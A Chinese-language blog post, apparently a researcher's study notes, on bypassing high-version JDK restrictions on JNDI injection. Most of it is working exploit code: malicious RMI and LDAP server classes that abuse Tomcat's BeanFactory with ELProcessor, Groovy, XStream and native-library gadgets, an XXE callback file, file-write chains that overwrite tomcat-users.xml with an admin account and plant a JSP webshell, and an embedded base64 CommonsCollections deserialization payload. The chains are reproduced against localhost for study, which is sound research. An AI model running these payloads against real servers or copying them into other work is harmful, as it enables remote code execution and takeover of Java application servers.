利用JNDI进行攻击，是Java中常用的手段，但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制，从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制，LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法，而最近浅蓝师傅的文章公布了一些新的bypass路线，正好快放假了，学习和研究一下。
使用marshalsec开启rmi服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest
使用python开启恶意class文件下载服务端
py -3 -m http.server 8090
jdk 1.8u40下发起RMI请求
将java版本修改为1.8u191
直接被阻拦，需要手动设置com.sun.jndi.rmi.object.trustURLCodebase=true
先给个图说一下JNDI的过程究竟在干嘛
过程大抵就是这样，高版本的阻断在于步骤4，所以先直接说绕过思路：
说完结论，再来看一下高版本和低版本Java的关键不同点。
调试走到NamingManager.lookup(Name var1)方法，其源代码如下：
public Object lookup(Name var1) throws NamingException { if (var1.isEmpty()) { return new RegistryContext(this); } else { Remote var2; try { var2 = this.registry.lookup(var1.get(0)); // 下载Reference的包裹类ReferenceWrapper } catch (NotBoundException var4) { throw new NameNotFoundException(var1.get(0)); } catch (RemoteException var5) { throw (NamingException)wrapRemoteException(var5).fillInStackTrace(); } return this.decodeObject(var2, var1.getPrefix(1)); }}跟进lookup方法
var2中的ip和端口是我们指定的rmi服务器地址，执行var2.getInputStream方法后，获得ObjectInput对象var4，再调用var4.readObject方法，这是典型的Java原生反序列化过程，受害者存在可用的gadget时，我们就可以利用这个点实现高版本JNDI的RCE。
前面的1.8u40时实现jndi攻击后，显示了调用链，跟着调试后进入到NamingManager.getObjectFactoryFromReference方法中，代码如下
可以看到，从ref中获取codebase后，调用helper对象的loadClass方法从远程下载了ExecTest这个恶意类对象，然后调用了newInstance方法，触发恶意代码。而ref对象实际上是Reference类，该类是从rmi服务器或ldap服务器下载而来。
从对比1.8u40和1.8u191来看，NamingManager.getObjectFactoryFromReference方法是没有差别的，都先调用helper.loadClass(String factoryName)尝试加载本地的工厂类，出错或找不到指定的工厂类后，再调用helper.loadClass(String className, String codebase)尝试加载远程的工厂类。
这里的helper对象实际上是com.sun.naming.internal.VersionHelper12的实例对象，如下图所示。
却别就在于VersionHelper12，首先跟进1.8u40下VersionHelper12的loadClass(String className)方法，源代码如下
1.8u40下VersionHelper12 public Class<?> loadClass(String className) throws ClassNotFoundException { return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法 } /** * Package private. * * This internal method is used with Thread Context Class Loader (TCCL), * please don't expose this method as public. */Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true, cl); return cls;}/** * @param className A non-null fully qualified class name. * @param codebase A non-null, space-separated list of URL strings. */public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // 注意是URLClassLoader return loadClass(className, cl); // 调用中间的loadClass方法}下面再跟进一下1.8u191版本的VersionHelper12
1.8u191下的VersionHelper12public Class<?> loadClass(String className) throws ClassNotFoundException { return loadClass(className, getContextClassLoader()); // 调用中间的loadClass方法，从本地获取}Class<?> loadClass(String className, ClassLoader cl) throws ClassNotFoundException { Class<?> cls = Class.forName(className, true, cl); return cls;}/** * @param className A non-null fully qualified class name. * @param codebase A non-null, space-separated list of URL strings. */public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true".equalsIgnoreCase(trustURLCodebase)) { // 注意这里先进行了是否为可信URL地址的判断！！ ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // URLClassLoader return loadClass(className, cl); // 调用中间的loadClass方法，从远程获取 } else { return null; }}区别明显在于从远程下载时会验证URL是否可信，但并没有对本地加载工厂类进行限制。所以绕过思路之一，就在于利用本地工厂类实现RCE。
从本地工厂类实现RCE还有一个具体要求，在NamingManager.getObjectInstance中，成功得到工厂类factory后，会调用factory.getObjectInstance(ref, name, nameCtx,environment)方法，创建JNDI客户端真正需要的实例对象
也就是说，我们需要找到合适的ObjectFactory类，要求它还实现了getObjectInstance方法，并且能够实现RCE，好在网上各位大神给出了很多答案。
需要指出的是，ref是攻击者返回的Reference对象、name是攻击者指定的目录名（uri部分）、nameCtx则是攻击者LDAP地址的解析（IP、端口等）。
该类只有一个方法getObjectInstance，但根据需要对源代码进行了简化
需要指出的是，ref是攻击者返回的Reference对象、name是攻击者指定的类名（uri部分）、nameCtx则是攻击者LDAP地址的解析（IP、端口等）。
public class BeanFactory implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else {} BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); // 实例化对象，需要无参构造函数！！ // 从Reference中获取forceString参数 RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<>(); String value; // 对forceString参数进行分割 if (ra != null) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { // 使用逗号分割参数 param = param.trim(); index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); // 等号后面强制设置为setter方法名 param = param.substring(0, index).trim(); // 等号前面为属性名 } else {} try { // 根据setter方法名获取setter方法，指定forceString后就是我们指定的方法，但注意参数是String类型！ forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { // 遍历Reference中的所有RefAddr ra = e.nextElement(); String propName = ra.getType(); // 获取属性名 // 过滤一些特殊的属性名，例如前面的forceString if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); // 属性名对应的参数 Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); // 根据属性名获取对应的方法 if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); // 执行方法，可用用forceString强制指定某个函数 } catch () {} continue; } // 省略 }} 根据源代码的逻辑，我们可用得到这样几个信息，在ldap或rmi服务器端，我们可用设定几个特殊的RefAddr，
该类必须有无参构造方法
并在其中设置一个forceString字段指定某个特殊方法名，该方法执行String类型的参数
通过上面的方法和一个String参数即可实现RCE
恰好有javax.el.ELProcessor满足该条件！
Server端设置如下
pom.xml
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.8</version></dependency><dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>9.0.8</version></dependency><dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>9.0.8</version></dependency>server端代码如下
package com.bitterz.jndiBypass;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class TomcatBeanFactoryServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099); // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); // 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码 ref.add(new StringRefAddr("forceString", "bitterz=eval")); // 指定bitterz属性指定其setter方法需要的参数，实际是ElProcessor.eval方法执行的参数，利用表达式执行命令 ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); // 绑定目录名 System.out.println("Server Started!"); }}客户端执行请求
groovy中同样存在基于一个String参数触发的方法
pom.xml
<dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.9</version></dependency>GroovyShellServer.java
package com.bitterz.jndiBypass;import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import groovy.lang.GroovyClassLoader;public class GroovyShellServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("evilGroovy", referenceWrapper); }}受害端发起rmi请求，java版本1.8u191
浅蓝大师傅又公开了一些其它可利用的类，首先时javax.management.loading.MLet这个类，通过其loadClass方法可以探测目标是否存在某个可利用类（例如java原生反序列化的gadget）
由于javax.management.loading.MLet继承自URLClassLoader，其addURL方法会访问远程服务器，而loadClass方法可以检测目标是否存在某个类，因此可以结合使用，检测某个类是否存在
上面出现404，则说明前面对ELProcessor类的加载成功了。
当loadClass需要加载的类不存在时，则会直接报错，不进入远程类的访问，因此http端收不到GET请求
Yaml是做反序列化的，当然也可以实现RCE，通过其反序列化过程即可实现，payload也比较多
这里还需要对SPI机制有一定的了解，先直接给我如何实现恶意jar包的吧
创建一个恶意类，实现ScriptEngineFactory接口
然后在resources目录下创建META-INF/services/javax.script.ScriptEngineFactory文件，里面的内容设置为前面的恶意类名
打包编译后，开启http服务，运行RMI恶意服务端，执行lookup，效果如下
复现失败了，单纯用xstream.fromXML(payload)也没有成功，可能是环境问题。。。。
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);String xml = "<java.util.PriorityQueue serialization='custom'>\n" + " <unserializable-parents/>\n" + " <java.util.PriorityQueue>\n" + " <default>\n" + " <size>2</size>\n" + " </default>\n" + " <int>3</int>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class='sun.tracing.NullProvider'>\n" + " <active>true</active>\n" + " <providerType>java.lang.Comparable</providerType>\n" + " <probes>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Comparable</class>\n" + " <name>compareTo</name>\n" + " <parameter-types>\n" + " <class>java.lang.Object</class>\n" + " </parameter-types>\n" + " </method>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='java.lang.Runtime'/>\n" + " <implementing__method>\n" + " <class>java.lang.Runtime</class>\n" + " <name>exec</name>\n" + " <parameter-types>\n" + " <class>java.lang.String</class>\n" + " </parameter-types>\n" + " </implementing__method>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + " </probes>\n" + " </handler>\n" + " </dynamic-proxy>\n" + " <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" + " </java.util.PriorityQueue>\n" + "</java.util.PriorityQueue>";ref.add(new StringRefAddr("forceString", "a=fromXML"));ref.add(new StringRefAddr("a", xml));<dependency> <groupId>org.mvel</groupId> <artifactId>mvel2</artifactId> <version>2.4.12.Final</version></dependency>
JDK内置的动态链接库加载工具类，使用其loadLibrary方法，执行链如下
NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);
dll代码如下
#include <stdio.h>void __attribute__ ((constructor)) my_init_so(){ FILE *fd = popen("calc", "r");}使用gcc编译一个dll文件
gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll启动RMI Server，然后发起rmi请求，结果如下
public class NativeLibLoaderServer { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=loadLibrary")); ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("dllLoader", referenceWrapper); }}注意这里的路径一定要用路径穿越，具体原因在于System.load前，对输出的路径与另一个路径进行了拼接，源代码就不贴了，调试即可见。
浅蓝师傅提到扫描发现org.apache.catalina.users.MemoryUserDatabaseFactory这个类也存在利用的可能性，并进步一步进行了研究。
该类的getObjectInstance方法，先获取pathname和readonly两个参数，并调用其setter方法，赋值完成后会调用org.apache.catalina.users.MemoryUserDatabase.open()方法，而后判断readonly=false，则调用save()方法
先看其open方法
从pathName获取url并发起请求，获得xml数据，而后调用digester对xml进行解析，所以这里可以实现XXE。
开启webserver，并放置一个恶意xml文件如下
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]><root/>当XXE成功时，会向http://127.0.0.1:8888/RequestFromXXE发起请求，因此图中可见exp.xml获取后，又向web server请求了/RequestFromXXE这个uri
前面是利用open方法执行过程进行XXE的，而open方法执行结束后，会执行到save方法中，注意在open方法执行过程中，我们必须设置pathname是一个URL，否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中，进行XML解析前，会从xml中获取user、role、group，这里的值会在后面save方法中被写入文件。
在pathname必须是URL的前提下，跟进save方法
注意到先进行了一个isWriteable的判断，跟进该方法
这里pathname是一个URL，catelina_base=c:/xx/apache-tomcat-8/，这是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/，此时该路径在Windows下可以直接判定成功。但linux下必须要求目录跳转前的路径必须存在，也就是说需要先在tomcat目录下创建http:/和http:/127.0.0.1:8888/这两个目录。
浅蓝师傅使用了org.h2.store.fs.FileUtils#createDirectory(String)结合BeanFactory进行创建，其代码如下：
private static ResourceRef tomcatMkdirFrist() { ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=createDirectory")); ref.add(new StringRefAddr("a", "../http:")); return ref;}private static ResourceRef tomcatMkdirLast() { ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "a=createDirectory")); ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888")); return ref;}创建目录后，继续跟进save方法，如下
将从pathname下载的xml文件中的roles、groups和users写入文件中，并覆盖给Catalina.base+pathname的文件中。
写入文件的payload如下
Registry registry = LocateRegistry.createRegistry(1099);// ===============================写入文件================================================ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));ref.add(new StringRefAddr("readonly", "false"));// ===============================写入文件================================================ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind("writeFile", referenceWrapper);首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理，Windows下不需要创建http:/127.0.0.1:8888/目录，在windows下执行效果如下
在linux下必须创建http:/127.0.0.1:8888/目录，然后再执行写文件的paylaod，效果如下
linux上复现时的步骤和坑：
import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class UserDataRCE_Server { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================1 创建http:/================================================ // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", // true, "org.apache.naming.factory.BeanFactory", null); // ref.add(new StringRefAddr("forceString", "a=createDirectory")); // ref.add(new StringRefAddr("a", "../http:")); // ===============================2 创建http:/127.0.0.1:8888/================================================ // ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "", // true, "org.apache.naming.factory.BeanFactory", null); // ref.add(new StringRefAddr("forceString", "a=createDirectory")); // ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888")); // ===============================3 写入文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml")); ref.add(new StringRefAddr("readonly", "false")); // ===============================写入文件================================================ ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); }}在tomcat中添加的jsp文件为：/webapps/test/1.jsp
<%@page pageEncoding="utf-8"%><%@page import="javax.naming.InitialContext"%><%InitialContext initialContext = new InitialContext();initialContext.lookup("rmi://127.0.0.1:1099/writeFile");%>用到的tomcat-users.xml如下
<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/></tomcat-users>javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server，依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后，访问一次test/1.jsp，让tomcat执行相应的paylaodtomcat/webapps/host-manager/META-INF/context.xml和tomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$"，以便能够远程访问tomcat的管理界面最后利用可以写入文件这个思路，直接可以向tomcat写入jsp webshell，需要用到代码和步骤如下
<?xml version="1.0" encoding="UTF-8"?><tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="<%Runtime.getRuntime().exec("calc"); %>"/></tomcat-users>import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class UserDataRCE_Server { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // ===============================写入webshell文件================================================ ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "", true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null); ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp")); ref.add(new StringRefAddr("readonly", "false")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("writeFile", referenceWrapper); }}<%@page pageEncoding="utf-8"%><%@page import="javax.naming.InitialContext"%><%InitialContext initialContext = new InitialContext();initialContext.lookup("rmi://127.0.0.1:1099/writeFile");%>
第2章里面都是rmi或ldap端返回一个恶意ref类，使得目标执行指定xxFactory.getObjectInstance()方法，该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路，即通过ldap/rmi指定一个恶意FactoryObject下载服务器，让目标访问并下载一段恶意序列化数据，在目标反序列化时触发Java 原生反序列化漏洞。
以常见的CC链举例
package com.bitterz.jndiBypass;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.net.httpserver.HttpServer;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.ByteArrayOutputStream;import java.io.InputStream;import java.net.InetAddress;import java.net.InetSocketAddress;import java.net.MalformedURLException;import java.net.URL;import java.text.ParseException;public class serializationServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception { try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), ldap_port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit"))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + ldap_port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } public static class HttpFileHandler implements HttpHandler { public HttpFileHandler() { } public void handle(HttpExchange httpExchange) { try { System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); String uri = httpExchange.getRequestURI().getPath(); InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); if (inputStream == null){ System.out.println("Not Found"); httpExchange.close(); return; }else{ while(inputStream.available() > 0) { byteArrayOutputStream.write(inputStream.read()); } byte[] bytes = byteArrayOutputStream.toByteArray(); httpExchange.sendResponseHeaders(200, (long)bytes.length); httpExchange.getResponseBody().write(bytes); httpExchange.close(); } } catch (Exception var5) { var5.printStackTrace(); } } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } /** Payload1: Return Reference Factory **/ // e.addAttribute("javaCodeBase", cbstring); // e.addAttribute("objectClass", "javaNamingReference"); // e.addAttribute("javaFactory", this.codebase.getRef()); /** Payload1 end **/ /** Payload2: Return Serialized Gadget **/ try { // java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64 e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA==")); } catch (ParseException e1) { e1.printStackTrace(); } /** Payload2 end **/ result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } public static void lanuchCodebaseURLServer(String ip, int port) throws Exception { System.out.println("Starting HTTP server"); HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0); httpServer.createContext("/", new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); } public static void main(String[] args) throws Exception { String[] args1 = new String[]{"127.0.0.1","8888", "1389"}; args = args1; System.out.println("HttpServerAddress: "+args[0]); System.out.println("HttpServerPort: "+args[1]); System.out.println("LDAPServerPort: "+args[2]); String http_server_ip = args[0]; int ldap_port = Integer.valueOf(args[2]); int http_server_port = Integer.valueOf(args[1]); lanuchCodebaseURLServer(http_server_ip, http_server_port); lanuchLDAPServer(ldap_port, http_server_ip, http_server_port); }}
第一时间看到浅蓝师傅的文章后，很想马上学习一下，无奈论文催得紧，过年前复现出了一部分。昨天终于写完了论文，继续来复现，所以前后文的不够通畅。浅蓝师傅还提到了一些其它的用法，但看起来不是特别实用，所以没有复现了。
经过对JNDI 高版本bypass方法的学习，真的佩服大师傅们对java研究的功力，另外复现过程中也明显感觉出来，jndi bypass的利用必须要依赖一些方便的工具，否则手工做起来真心麻烦，依赖都是一大堆。
https://paper.seebug.org/942/
https://tttang.com/archive/1405/
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/